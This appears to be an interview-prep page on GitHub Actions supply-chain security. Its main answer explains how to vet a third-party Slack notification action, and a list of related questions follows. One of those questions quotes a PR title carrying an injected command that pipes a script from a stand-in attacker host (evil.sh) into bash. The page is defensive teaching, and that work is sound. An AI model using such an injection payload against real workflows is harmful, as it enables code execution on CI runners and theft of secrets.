A developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?
BeginnerScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Third-party code would run with the job's token and secrets.
What I'd do →
- Check: maintainer reputation, recent activity, open security issues, permissions it requests, network calls in code, dependencies.
- Prefer a few lines of
curlto the Slack webhook over a dependency for trivial tasks. - If adopted: pin SHA, isolate it in a job with
permissions: {}and only the webhook secret. - Add it to the org allow-list after review.
Why → Each action is a dependency with full job access.
Interview tip → "If it's ten lines of curl, I write the ten lines."
More on Security Hardening & Supply Chain
You are asked to harden an existing repo's workflows in one week. What is your checklist?IntermediateA contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?IntermediateYour OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.AdvancedA popular action you use was compromised and its tags repointed. What do you do in the first hour?AdvancedYou must prove that a container image in prod was built by your CI from a specific commit. How?AdvancedYou find `pull_request_target` used to build and test PRs in a private repo. Is that acceptable?Advanced